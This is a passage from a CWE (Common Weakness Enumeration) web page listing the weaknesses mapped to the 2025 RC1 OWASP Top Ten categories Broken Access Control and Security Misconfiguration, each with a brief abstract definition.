CWE

Common Weakness Enumeration

A community-developed list of SW & HW weaknesses that can become vulnerabilities
New to CWE? click here!
CWE Most Important Hardware Weaknesses
CWE Top 25 Most Dangerous Weaknesses
Home > CWE List > VIEW SLICE: CWE-1450: Weaknesses in OWASP Top Ten RC1 (2025) (4.19.1)  
ID

CWE VIEW: Weaknesses in OWASP Top Ten RC1 (2025)

View ID: 1450
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
Type: Graph
Downloads: Booklet | CSV | XML
+ Objective
CWE entries in this view (graph) are associated with the first release candidate (RC1) of the OWASP Top Ten, as released in 2025.
+ Audience
Stakeholder Description
Software Developers This view outlines the most important issues as identified by the OWASP Top Ten (2025 RC1), providing a good starting point for web application developers who want to code more securely.
Product Customers This view outlines the most important issues as identified by the OWASP Top Ten (2025 RC1), providing product customers with a way of asking their software development teams to follow minimum expectations for secure code.
Educators Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.
+ Relationships
The following graph shows the tree-like relationships between weaknesses that exist at different levels of abstraction. At the highest level, categories and pillars exist to group weaknesses. Categories (which are not technically weaknesses) are special CWE entries used to group weaknesses that share a common characteristic. Pillars are weaknesses that are described in the most abstract fashion. Below these top-level entries are weaknesses are varying levels of abstraction. Classes are still very abstract, typically independent of any specific language or technology. Base level weaknesses are used to present a more specific type of weakness. A variant is a weakness that is described at a very low level of detail, typically limited to a specific language or technology. A chain is a set of weaknesses that must be reachable consecutively in order to produce an exploitable vulnerability. While a composite is a set of weaknesses that must all be present simultaneously in order to produce an exploitable vulnerability.
Show Details:
1450 - Weaknesses in OWASP Top Ten RC1 (2025)
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. OWASP Top Ten 2025 Category A01:2025 - Broken Access Control - (1436)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control)
Weaknesses in this category are related to the A01 category "Broken Access Control" in the OWASP Top Ten 2025.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Sensitive Cookie with Improper SameSite Attribute - (1275)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 1275 (Sensitive Cookie with Improper SameSite Attribute)
The SameSite attribute for sensitive cookies is not set, or an insecure value is used.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Exposure of Sensitive Information to an Unauthorized Actor - (200)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 200 (Exposure of Sensitive Information to an Unauthorized Actor)
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Information Disclosure Information Leak
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Insertion of Sensitive Information Into Sent Data - (201)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 201 (Insertion of Sensitive Information Into Sent Data)
The code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Storage of File with Sensitive Data Under Web Root - (219)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 219 (Storage of File with Sensitive Data Under Web Root)
The product stores sensitive data under the web document root with insufficient access control, which might make it accessible to untrusted parties.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') - (22)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 22 (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'))
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Directory traversal Path traversal
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Relative Path Traversal - (23)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 23 (Relative Path Traversal)
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory. Zip Slip
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Incorrect Default Permissions - (276)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 276 (Incorrect Default Permissions)
During installation, installed file permissions are set to allow anyone to modify those files.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Preservation of Permissions - (281)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 281 (Improper Preservation of Permissions)
The product does not preserve permissions or incorrectly preserves permissions when copying, restoring, or sharing objects, which can cause them to have less restrictive permissions than intended.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Ownership Management - (282)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 282 (Improper Ownership Management)
The product assigns the wrong ownership, or does not properly verify the ownership, of an object or resource.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Unverified Ownership - (283)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 283 (Unverified Ownership)
The product does not properly verify that a critical resource is owned by the proper entity.
* Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. Improper Access Control - (284)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 284 (Improper Access Control)
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Authorization
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Authorization - (285)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 285 (Improper Authorization)
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. AuthZ
* Composite Composite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability. Cross-Site Request Forgery (CSRF) - (352)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 352 (Cross-Site Request Forgery (CSRF))
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. Session Riding Cross Site Reference Forgery XSRF CSRF
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Exposure of Private Personal Information to an Unauthorized Actor - (359)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 359 (Exposure of Private Personal Information to an Unauthorized Actor)
The product does not properly prevent a person's private, personal information from being accessed by actors who either (1) are not explicitly authorized to access the information or (2) do not have the implicit consent of the person about whom the information is collected. Privacy violation Privacy leak / Privacy leakage PPI PII PHI
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Absolute Path Traversal - (36)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 36 (Absolute Path Traversal)
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Insecure Temporary File - (377)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 377 (Insecure Temporary File)
Creating and using insecure temporary files can leave application and system data vulnerable to attack.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Creation of Temporary File in Directory with Insecure Permissions - (379)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 379 (Creation of Temporary File in Directory with Insecure Permissions)
The product creates a temporary file in a directory whose permissions allow unintended actors to determine the file's existence or otherwise access that file.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Transmission of Private Resources into a New Sphere ('Resource Leak') - (402)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 402 (Transmission of Private Resources into a New Sphere ('Resource Leak'))
The product makes resources available to untrusted parties when those resources are only intended to be accessed by the product. Resource Leak
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Protection of Alternate Path - (424)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 424 (Improper Protection of Alternate Path)
The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Direct Request ('Forced Browsing') - (425)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 425 (Direct Request ('Forced Browsing'))
The web application does not adequately enforce appropriate authorization on all restricted URLs, scripts, or files. forced browsing
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Unintended Proxy or Intermediary ('Confused Deputy') - (441)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 441 (Unintended Proxy or Intermediary ('Confused Deputy'))
The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Confused Deputy
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Exposure of Sensitive System Information to an Unauthorized Control Sphere - (497)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 497 (Exposure of Sensitive System Information to an Unauthorized Control Sphere)
The product does not properly prevent sensitive system-level information from being accessed by unauthorized actors who do not have the same level of access to the underlying system as the product does.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Insertion of Sensitive Information into Externally-Accessible File or Directory - (538)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 538 (Insertion of Sensitive Information into Externally-Accessible File or Directory)
The product places sensitive information into files or directories that are accessible to actors who are allowed to have access to the files, but not to the sensitive information.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Inclusion of Sensitive Information in Source Code - (540)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 540 (Inclusion of Sensitive Information in Source Code)
Source code on a web server or repository often contains sensitive information and should generally not be accessible to users.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Exposure of Information Through Directory Listing - (548)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 548 (Exposure of Information Through Directory Listing)
The product inappropriately exposes a directory listing with an index of all the resources located inside of the directory.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Files or Directories Accessible to External Parties - (552)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 552 (Files or Directories Accessible to External Parties)
The product makes files or directories accessible to unauthorized actors, even though they should not be.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Authorization Bypass Through User-Controlled SQL Primary Key - (566)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 566 (Authorization Bypass Through User-Controlled SQL Primary Key)
The product uses a database table that includes records that should not be accessible to an actor, but it executes a SQL statement with a primary key that can be controlled by that actor.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Link Resolution Before File Access ('Link Following') - (59)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 59 (Improper Link Resolution Before File Access ('Link Following'))
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. insecure temporary file Zip Slip
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. URL Redirection to Untrusted Site ('Open Redirect') - (601)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 601 (URL Redirection to Untrusted Site ('Open Redirect'))
The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. Open Redirect Cross-site Redirect Cross-domain Redirect Unvalidated Redirect Drive-by download
* Composite Composite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability. UNIX Symbolic Link (Symlink) Following - (61)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 61 (UNIX Symbolic Link (Symlink) Following)
The product, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files. Symlink following symlink vulnerability
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Inclusion of Sensitive Information in Source Code Comments - (615)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 615 (Inclusion of Sensitive Information in Source Code Comments)
While adding general comments is very useful, some programmers tend to leave important data, such as: filenames related to the web application, old links or links which were not meant to be browsed by users, old code fragments, etc.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Authorization Bypass Through User-Controlled Key - (639)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 639 (Authorization Bypass Through User-Controlled Key)
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Insecure Direct Object Reference / IDOR Broken Object Level Authorization / BOLA Horizontal Authorization
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Windows Hard Link - (65)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 65 (Windows Hard Link)
The product, when opening a file or directory, does not sufficiently handle when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Exposure of Resource to Wrong Sphere - (668)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 668 (Exposure of Resource to Wrong Sphere)
The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Incorrect Permission Assignment for Critical Resource - (732)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 732 (Incorrect Permission Assignment for Critical Resource)
The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Exposed Dangerous Method or Function - (749)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 749 (Exposed Dangerous Method or Function)
The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Missing Authorization - (862)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 862 (Missing Authorization)
The product does not perform an authorization check when an actor attempts to access a resource or perform an action. AuthZ
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Incorrect Authorization - (863)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 863 (Incorrect Authorization)
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. AuthZ
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Server-Side Request Forgery (SSRF) - (918)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 918 (Server-Side Request Forgery (SSRF))
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. XSPA SSRF
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Insecure Storage of Sensitive Information - (922)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1436 (OWASP Top Ten 2025 Category A01:2025 - Broken Access Control) > 922 (Insecure Storage of Sensitive Information)
The product stores sensitive information without properly limiting read or write access by unauthorized actors.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration - (1437)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1437 (OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration)
Weaknesses in this category are related to the A02 category "Security Misconfiguration" in the OWASP Top Ten 2025.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Sensitive Cookie Without 'HttpOnly' Flag - (1004)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1437 (OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration) > 1004 (Sensitive Cookie Without 'HttpOnly' Flag)
The product uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. ASP.NET Misconfiguration: Creating Debug Binary - (11)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1437 (OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration) > 11 (ASP.NET Misconfiguration: Creating Debug Binary)
Debugging messages help attackers learn about the system and plan a form of attack.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. ASP.NET Misconfiguration: Improper Model Validation - (1174)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1437 (OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration) > 1174 (ASP.NET Misconfiguration: Improper Model Validation)
The ASP.NET application does not use, or incorrectly uses, the model validation framework.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. ASP.NET Misconfiguration: Password in Configuration File - (13)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1437 (OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration) > 13 (ASP.NET Misconfiguration: Password in Configuration File)
Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource making them an easy target for attackers.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. External Control of System or Configuration Setting - (15)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1437 (OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration) > 15 (External Control of System or Configuration Setting)
One or more system settings or configuration elements can be externally controlled by a user.
* Category Category - a CWE entry that contains a set of other entries that share a common characteristic. Configuration - (16)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1437 (OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration) > 16 (Configuration)
Weaknesses in this category are typically introduced during the configuration of the software.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Password in Configuration File - (260)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1437 (OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration) > 260 (Password in Configuration File)
The product stores a password in a configuration file that might be accessible to actors who do not know the password.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Cleartext Storage of Sensitive Information in a Cookie - (315)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1437 (OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration) > 315 (Cleartext Storage of Sensitive Information in a Cookie)
The product stores sensitive information in cleartext in a cookie.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Active Debug Code - (489)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1437 (OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration) > 489 (Active Debug Code)
The product is released with debugging code still enabled or active. Leftover debug code
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. J2EE Misconfiguration: Data Transmission Without Encryption - (5)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1437 (OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration) > 5 (J2EE Misconfiguration: Data Transmission Without Encryption)
Information sent over a network can be compromised while in transit. An attacker may be able to read or modify the contents if the data are sent in plaintext or are weakly encrypted.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Cleartext Storage of Sensitive Information in an Environment Variable - (526)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1437 (OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration) > 526 (Cleartext Storage of Sensitive Information in an Environment Variable)
The product uses an environment variable to store unencrypted sensitive information.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Hard-coded, Security-relevant Constants - (547)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1437 (OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration) > 547 (Use of Hard-coded, Security-relevant Constants)
The product uses hard-coded constants instead of symbolic names for security-critical values, which increases the likelihood of mistakes during code maintenance or security policy change.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Restriction of XML External Entity Reference - (611)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1437 (OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration) > 611 (Improper Restriction of XML External Entity Reference)
The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output. XXE
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Sensitive Cookie in HTTPS Session Without 'Secure' Attribute - (614)
